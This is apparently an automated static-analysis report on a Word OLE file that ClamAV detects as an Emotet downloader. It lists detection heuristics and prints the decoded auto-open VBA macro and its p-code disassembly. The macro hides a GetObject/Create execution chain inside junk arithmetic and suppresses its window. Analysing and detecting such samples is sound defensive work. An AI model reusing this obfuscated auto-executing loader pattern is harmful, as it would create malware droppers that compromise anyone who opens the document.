Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a68bbf45f70df75…

MALICIOUS

Office (OLE)

166.8 KB Created: 2019-03-22 14:08:00 Authoring application: Microsoft Office Word First seen: 2021-02-20
MD5: 6f829d74b79fea45aa4220789ff5a7ee SHA-1: 8f30553e939c29a7ea1c2c8129fd4dfb718eefe5 SHA-256: 5a68bbf45f70df757d3cb5593c4b71defe4d3ee5f6c2bc4b6346f3b0de162be0
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6914608-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6914608-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set OQCw_kA = GetObject(EZcAkX.Tag + EZcAkX.kBAUDBA + EZcAkX.Tag)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16197 bytes
SHA-256: 161df8fe95c0a5d883a525b260fb645f2aadeee69fdb6b94c4572013289fdf69
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TkQAAoAA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "EZcAkX"
Attribute VB_Base = "0{B38107AD-52EA-49B4-AE0D-EB5CEBBFB14F}{F2752129-D1BD-4190-A1E2-846E77280666}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "fcDAXAGB"
Sub autoopen()
On Error Resume Next
   If ZwoAA_U = hDAAAcZ1 Then
   wZQAxG = CVar(MAQDA4)
   sAGkQUDA = (424695335 + Rnd(vA1DAZ * _
Tan(366470779 / Chr(965197711 / CDbl(PoBCUAUA) * HkAkXAw / CDbl(708178645)))) * 538627312 * _
Atn(149443215 / Oct(871920812) - 494791001 * Int(UACUCBA)) * (631731327 - Atn(cAkAAA)))
   HkkAXXXX = Int(WBBAGkB - _
AwA4ZZ - 177218148 * Int(563603357))
End If
   If GBBcAxZ = zwkUwADA Then
   rAAxZ4AD = CVar(McQZA4)
   mAGBABA = (41420200 + Rnd(bA4ZAZ * _
Tan(820356531 / Chr(599244791 / CDbl(DUUGAAAx) * D4UZG1A / CDbl(995809830)))) * 685800906 * _
Atn(67426153 / Oct(571060242) - 455673055 * Int(rAGAXxGA)) * (384626861 - Atn(SUxUAAA)))
   wAQDBZXA = Int(O41cAA - _
pUAxwBcA - 580257375 * Int(298118555))
End If
   If bAAwA44B = MADDD1 Then
   kAwAAZA = CVar(uA14AQ)
   oQAQkB = (19292824 + Rnd(XAADZAw1 * _
Tan(43682618 / Chr(544264322 / CDbl(pB4GZUw) * zU4CBQA / CDbl(882677312)))) * 599027045 * _
Atn(415313378 / Oct(188011366) - 70029321 * Int(TAAUUA)) * (333432617 - Atn(lQcA1o)))
   oUx_oA = Int(UDUAkB1B - _
wQABAA - 790835730 * Int(135382998))
End If
Set OQCw_kA = GetObject(EZcAkX.Tag + EZcAkX.kBAUDBA + EZcAkX.Tag)
   If VAZCUB = QXcAwDkB Then
   SAXAAA1G = CVar(lAkAAUZ)
   b1BA_A = (929958251 + Rnd(tABxGC * _
Tan(753644307 / Chr(529000893 / CDbl(rGGAABx) * DcA4AQ / CDbl(915573118)))) * 710474988 * _
Atn(793905021 / Oct(86464539) - 739332689 * Int(nkQcBUA)) * (165189859 - Atn(OBoAoBAA)))
   scXAAU_ = Int(zAUXAA - _
WA1AAoAQ - 766971998 * Int(549587236))
End If
   If XADXA_x = ncDkwQQA Then
   dwc1ADck = CVar(jUXBAA)
   NAUAUw = (986531385 + Rnd(lBQBUQQ * _
Tan(119160287 / Chr(211364030 / CDbl(HA_AcA1) * bwAUwABA / CDbl(650121536)))) * 538707230 * _
Atn(729980572 / Oct(321919195) - 920572829 * Int(c__ACU)) * (441178853 - Atn(tA_CUAQA)))
   sZGA4G = Int(YGAXwAX - _
WUDUDQA - 546364663 * Int(67495950))
End If
   If AXUQCU = jGowkBG1 Then
   zQ4B4GU_ = CVar(DcAABC)
   zQDUCAx = (465761989 + Rnd(HQUBAQBo * _
Tan(495497595 / Chr(167980340 / CDbl(I_ADAU) * TAU111Q / CDbl(246443906)))) * 837733115 * _
Atn(450536162 / Oct(816613707) - 122230419 * Int(QXGwAGA)) * (956393835 - Atn(pCUoCBAA)))
   fcAkBo = Int(CAD_kAA - _
fABXAUx - 477337761 * Int(330705246))
End If
OQCw_kA.ShowWindow = 374139 - 374139
   If TDAB4Dk = zAZB__Q Then
   uxQQ_ZB = CVar(RZQGG_QB)
   YDA1xQ = (971282489 + Rnd(iAwUCAxB * _
Tan(994547658 / Chr(594029515 / CDbl(PCkQUAAk) * vUAA1A / CDbl(723008253)))) * 545634982 * _
Atn(245512197 / Oct(487626533) - 150099428 * Int(HkkAAG4Q)) * (962440860 - Atn(JUAQAoG)))
   SAZCoAok = Int(HA4CcAA - _
X_AC4A - 879262387 * Int(906944221))
End If
   If PUkCAA = jGABkCB Then
   sDUB4A = CVar(zQ4CGo_X)
   PCCwwUA = (717013287 + Rnd(YAo_1k4k * _
Tan(135664709 / Chr(244634889 / CDbl(DADoc4C) * jAZQAwAo / CDbl(12039639)))) * 683423177 * _
Atn(883665037 / Oct(394801366) - 338763409 * Int(jAGQ1AA)) * (982056004 - Atn(tGBAUBQk)))
   WDAcoCwk = Int(AAAAwAAU - _
dAQAABQ - 568842327 * Int(601760228))
End If
GetObject(EZcAkX.Tag + EZcAkX.rAAoAAo + EZcAkX.Tag). _
Create EZcAkX.Tag + EZcAkX.vxkXUUoZ + EZcAkX.Tag + EZcAkX.F_4UZX + EZcAkX.Tag + EZcAkX.Tag + EZcAkX.Ck_BBA + EZcAkX.Tag + EZcAkX.Tag + EZcAkX.aQCU1C + EZcAkX.Tag + EZcAkX.n1_DAU_A + EZcAkX.Tag, VDXAwU, OQCw_kA, EZcAkX.Tag
   If T_kCAA = hAQAAA1C Then
   I_ADAGZ = CVar(CAAcDGAQ)
   UGAXAAAD = (748173980 + Rnd(FCAQwk * _
Tan(741678294 / Chr(33249651 / CDbl(XU_GQAA) * qAwAAC / CDbl(832347480)))) * 266834702 * _
Atn(565459602 / Oct(297327240) - 101831689 * Int(lGCAA_AQ)) * (69997290 - Atn(SCcoZwAA)))
   oQoQ_BD = Int(mkDUcQ - _
tDxBAA - 345020188 * Int(803125499))
End If
   If HAAcAA = cXcUAUkG Then
   ZwDZXZCC = CVar(foXAAUA)
   bB4Zxk = (288625077 + Rnd(GAAUGC * _
Tan(469355865 / Chr(957387262 / CDbl(MAx1kAA) * SDwAX__X / CDbl(892888763)))) * 726357143 * _
Atn(363997593 / Oct(378740871) - 905472916 * Int(rUBXXAAD)) * (458060651 - Atn(OZ1_AG_1)))
   vcACXABw = Int(R_k_Ao - _
mXAAAZX - 969732509 * Int(891020206))
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/889ced8874764549a2beeebaa15d254b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/TkQAAoAA - 1106 bytes
' Macros/VBA/EZcAkX - 1157 bytes
' Macros/VBA/fcDAXAGB - 6978 bytes
' Line #0:
' 	FuncDefn (Sub fcDAXAGB())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld autoopen 
' 	Ld ZwoAA_U 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	Ld wZQAxG 
' 	Coerce (Var) 
' 	St hDAAAcZ1 
' Line #4:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x5627 0x1950 
' 	Ld sAGkQUDA 
' 	LitDI4 0xE67B 0x15D7 
' 	LitDI4 0xBF8F 0x3987 
' 	Ld vA1DAZ 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld PoBCUAUA 
' 	Mul 
' 	LitDI4 0xF2D5 0x2A35 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xCCF0 0x201A 
' 	Mul 
' 	LitDI4 0x528F 0x08E8 
' 	LitDI4 0x74AC 0x33F8 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0xE959 0x1D7D 
' 	Ld HkAkXAw 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x747F 0x25A7 
' 	Ld UACUCBA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St MAQDA4 
' Line #5:
' 	LineCont 0x0004 06 00 00 00
' 	Ld HkkAXXXX 
' 	Ld WBBAGkB 
' 	Sub 
' 	LitDI4 0x2264 0x0A90 
' 	LitDI4 0xE79D 0x2197 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St cAkAAA 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	Ld AwA4ZZ 
' 	Ld GBBcAxZ 
' 	Eq 
' 	IfBlock 
' Line #8:
' 	Ld rAAxZ4AD 
' 	Coerce (Var) 
' 	St zwkUwADA 
' Line #9:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x05A8 0x0278 
' 	Ld mAGBABA 
' 	LitDI4 0xA5B3 0x30E5 
' 	LitDI4 0xBFF7 0x23B7 
' 	Ld bA4ZAZ 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld DUUGAAAx 
' 	Mul 
' 	LitDI4 0xDA26 0x3B5A 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x7DCA 0x28E0 
' 	Mul 
' 	LitDI4 0xD769 0x0404 
' 	LitDI4 0xB012 0x2209 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x04DF 0x1B29 
' 	Ld D4UZG1A 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xF0AD 0x16EC 
' 	Ld rAGAXxGA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St McQZA4 
' Line #10:
' 	LineCont 0x0004 06 00 00 00
' 	Ld wAQDBZXA 
' 	Ld O41cAA 
' 	Sub 
' 	LitDI4 0x065F 0x2296 
' 	LitDI4 0xED9B 0x11C4 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St SUxUAAA 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	Ld pUAxwBcA 
' 	Ld bAAwA44B 
' 	Eq 
' 	IfBlock 
' Line #13:
' 	Ld kAwAAZA 
' 	Coerce (Var) 
' 	St MADDD1 
' Line #14:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x6298 0x0126 
' 	Ld oQAQkB 
' 	LitDI4 0x8B3A 0x029A 
' 	LitDI4 0xD082 0x2070 
' 	Ld XAADZAw1 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld pB4GZUw 
' 	Mul 
' 	LitDI4 0x9640 0x349C 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x6D65 0x23B4 
' 	Mul 
' 	LitDI4 0x2DE2 0x18C1 
' 	LitDI4 0xD366 0x0B34 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x9009 0x042C 
' 	Ld zU4CBQA 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xC729 0x13DF 
' 	Ld TAAUUA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St uA14AQ 
' Line #15:
' 	LineCont 0x0004 06 00 00 00
' 	Ld oUx_oA 
' 	Ld UDUAkB1B 
' 	Sub 
' 	LitDI4 0x3212 0x2F23 
' 	LitDI4 0xC7D6 0x0811 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St lQcA1o 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	SetStmt 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd Tag 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd OQCw_kA 0x0001 
' 	Set wQABAA 
' Line #18:
' 	Ld kBAUDBA 
' 	Ld VAZCUB 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	Ld SAXAAA1G 
' 	Coerce (Var) 
' 	St QXcAwDkB 
' Line #20:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x096B 0x376E 
' 	Ld b1BA_A 
' 	LitDI4 0xB313 0x2CEB 
' 	LitDI4 0xE9BD 0x1F87 
' 	Ld tABxGC 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld rGGAABx 
' 	Mul 
' 	LitDI4 0x897E 0x3692 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xFCEC 0x2A58 
' 	Mul 
' 	LitDI4 0x077D 0x2F52 
' 	LitDI4 0x581B 0x0527 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x5251 0x2C11 
' 	Ld DcA4AQ 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x98E3 0x09D8 
' 	Ld nkQcBUA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St lAkAAUZ 
' Line #21:
' 	LineCont 0x0004 06 00 00 00
' 	Ld scXAAU_ 
' 	Ld zAUXAA 
' 	Sub 
' 	LitDI4 0x105E 0x2DB7 
' 	LitDI4 0x0924 0x20C2 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St OBoAoBAA 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	Ld WA1AAoAQ 
' 	Ld XADXA_x 
' 	Eq 
' 	IfBlock 
' Line #24:
' 	Ld dwc1ADck 
' 	Coerce (Var) 
' 	St ncDkwQQA 
' Line #25:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x4639 0x3ACD 
' 	Ld NAUAUw 
' 	LitDI4 0x3DDF 0x071A 
' 	LitDI4 0x28BE 0x0C99 
' 	Ld lBQBUQQ 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld HA_AcA1 
' 	Mul 
' 	LitDI4 0x1140 0x26C0 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x051E 0x201C 
' 	Mul 
' 	LitDI4 0x9E9C 0x2B82 
' 	LitDI4 0x18DB 0x1330 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0xD39D 0x36DE 
' 	Ld bwAUwABA 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xDAE5 0x1A4B 
' 	Ld c__ACU 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St jUXBAA 
' Line #26:
' 	LineCont 0x0004 06 00 00 00
' 	Ld sZGA4G 
' 	Ld YGAXwAX 
' 	Sub 
' 	LitDI4 0xDCF7 0x2090 
' 	LitDI4 0xE80E 0x0405 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St tA_CUAQA 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	Ld WUDUDQA 
' 	Ld AXUQCU 
' 	Eq 
' 	IfBlock 
' Line #29:
' 	Ld zQ4B4GU_ 
' 	Coerce (Var) 
' 	St jGowkBG1 
' Line #30:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xF6C5 0x1BC2 
' 	Ld zQDUCAx 
' 	LitDI4 0xB17B 0x1D88 
' 	LitDI4 0x2D34 0x0A03 
' 	Ld HQUBAQBo 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld I_ADAU 
' 	Mul 
' 	LitDI4 0x6F82 0x0EB0 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xCAFB 0x31EE 
' 	Mul 
' 	LitDI4 0xA2E2 0x1ADA 
' 	LitDI4 0x894B 0x30AC 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x1693 0x0749 
' 	Ld TAU111Q 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x696B 0x3901 
' 	Ld QXGwAGA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St DcAABC 
' Line #31:
' 	LineCont 0x0004 06 00 00 00
' 	Ld fcAkBo 
' 	Ld CAD_kAA 
' 	Sub 
' 	LitDI4 0x98A1 0x1C73 
' 	LitDI4 0x295E 0x13B6 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St pCUoCBAA 
' Line #32:
' 	EndIfBlock 
' Line #33:
' 	LitDI4 0xB57B 0x0005 
' 	LitDI4 0xB57B 0x0005 
' 	Sub 
' 	Ld wQABAA 
' 	MemSt fABXAUx 
' Line #34:
' 	Ld ShowWindow 
' 	Ld TDAB4Dk 
' 	Eq 
' 	IfBlock 
' Line #35:
' 	Ld uxQQ_ZB 
' 	Coerce (Var) 
' 	St zAZB__Q 
' Line #36:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x9839 0x39E4 
' 	Ld YDA1xQ 
' 	LitDI4 0x97CA 0x3B47 
' 	LitDI4 0x2BCB 0x2368 
' 	Ld iAwUCAxB 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld PCkQUAAk 
' 	Mul 
' 	LitDI4 0x3AFD 0x2B18 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xBAA6 0x2085 
' 	Mul 
' 	LitDI4 0x3805 0x0EA2 
' 	LitDI4 0x9725 0x1D10 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x55E4 0x08F2 
' 	Ld vUAA1A 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xAE9C 0x395D 
' 	Ld HkkAAG4Q 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St RZQGG_QB 
' Line #37:
' 	LineCont 0x0004 06 00 00 00
' 	Ld SAZCoAok 
' 	Ld HA4CcAA 
' 	Sub 
' 	LitDI4 0x7AB3 0x3468 
' 	LitDI4 0xDEDD 0x360E 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St JUAQAoG 
' Line #38:
' 	EndIfBlock 
' Line #39:
' 	Ld X_AC4A 
' 	Ld PUkCAA 
' 	Eq 
' 	IfBlock 
' Line #40:
' 	Ld sDUB4A 
' 	Coerce (Var) 
' 	St jGABkCB 
' Line #41:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xC127 0x2ABC 
' 	Ld PCCwwUA 
' 	LitDI4 0x1445 0x0816 
' 	LitDI4 0xD509 0x0E94 
' 	Ld YAo_1k4k 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld DADoc4C 
' 	Mul 
' 	LitDI4 0xB5D7 0x00B7 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x35C9 0x28BC 
' 	Mul 
' 	LitDI4 0xA88D 0x34AB 
' 	LitDI4 0x30D6 0x1788 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x1E91 0x1431 
' 	Ld jAZQAwAo 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xFC44 0x3A88 
' 	Ld jAGQ1AA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St zQ4CGo_X 
' Line #42:
' 	LineCont 0x0004 06 00 00 00
' 	Ld WDAcoCwk 
' 	Ld AAAAwAAU 
' 	Sub 
' 	LitDI4 0xD857 0x21E7 
' 	LitDI4 0x21E4 0x23DE 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St tGBAUBQk 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	LineCont 0x0004 0F 00 00 00
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd Create 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd vxkXUUoZ 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd F_4UZX 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd Ck_BBA 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd aQCU1C 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld n1_DAU_A 
' 	Ld wQABAA 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd dAQAABQ 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd OQCw_kA 0x0001 
' 	ArgsMemCall rAAoAAo 0x0004 
' Line #45:
' 	Ld VDXAwU 
' 	Ld T_kCAA 
' 	Eq 
' 	IfBlock 
' Line #46:
' 	Ld I_ADAGZ 
' 	Coerce (Var) 
' 	St hAQAAA1C 
' Line #47:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x3A9C 0x2C98 
' 	Ld UGAXAAAD 
' 	LitDI4 0x1CD6 0x2C35 
' 	LitDI4 0x5973 0x01FB 
' 	Ld FCAQwk 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld XU_GQAA 
' 	Mul 
' 	LitDI4 0x9D58 0x319C 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x930E 0x0FE7 
' 	Mul 
' 	LitDI4 0x3A92 0x21B4 
' 	LitDI4 0xDA88 0x11B8 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0xD409 0x0611 
' 	Ld qAwAAC 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x12EA 0x042C 
' 	Ld lGCAA_AQ 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St CAAcDGAQ 
' Line #48:
' 	LineCont 0x0004 06 00 00 00
' 	Ld oQoQ_BD 
' 	Ld mkDUcQ 
' 	Sub 
' 	LitDI4 0x971C 0x1490 
' 	LitDI4 0xB8FB 0x2FDE 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St SCcoZwAA 
' Line #49:
' 	EndIfBlock 
' Line #50:
' 	Ld tDxBAA 
' 	Ld HAAcAA 
' 	Eq 
' 	IfBlock 
' Line #51:
' 	Ld ZwDZXZCC 
' 	Coerce (Var) 
' 	St cXcUAUkG 
' Line #52:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x11B5 0x1134 
' 	Ld bB4Zxk 
' 	LitDI4 0xCD59 0x1BF9 
' 	LitDI4 0x91FE 0x3910 
' 	Ld GAAUGC 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld MAx1kAA 
' 	Mul 
' 	LitDI4 0x66BB 0x3538 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x5497 0x2B4B 
' 	Mul 
' 	LitDI4 0x2999 0x15B2 
' 	LitDI4 0x2087 0x1693 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x6B94 0x35F8 
' 	Ld SDwAX__X 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x736B 0x1B4D 
' 	Ld rUBXXAAD 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St foXAAUA 
' Line #53:
' 	LineCont 0x0004 06 00 00 00
' 	Ld vcACXABw 
' 	Ld R_k_Ao 
' 	Sub 
' 	LitDI4 0xF19D 0x39CC 
' 	LitDI4 0xE3AE 0x351B 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St OZ1_AG_1 
' Line #54:
' 	EndIfBlock 
' Line #55:
' 	EndSub 
' Line #56: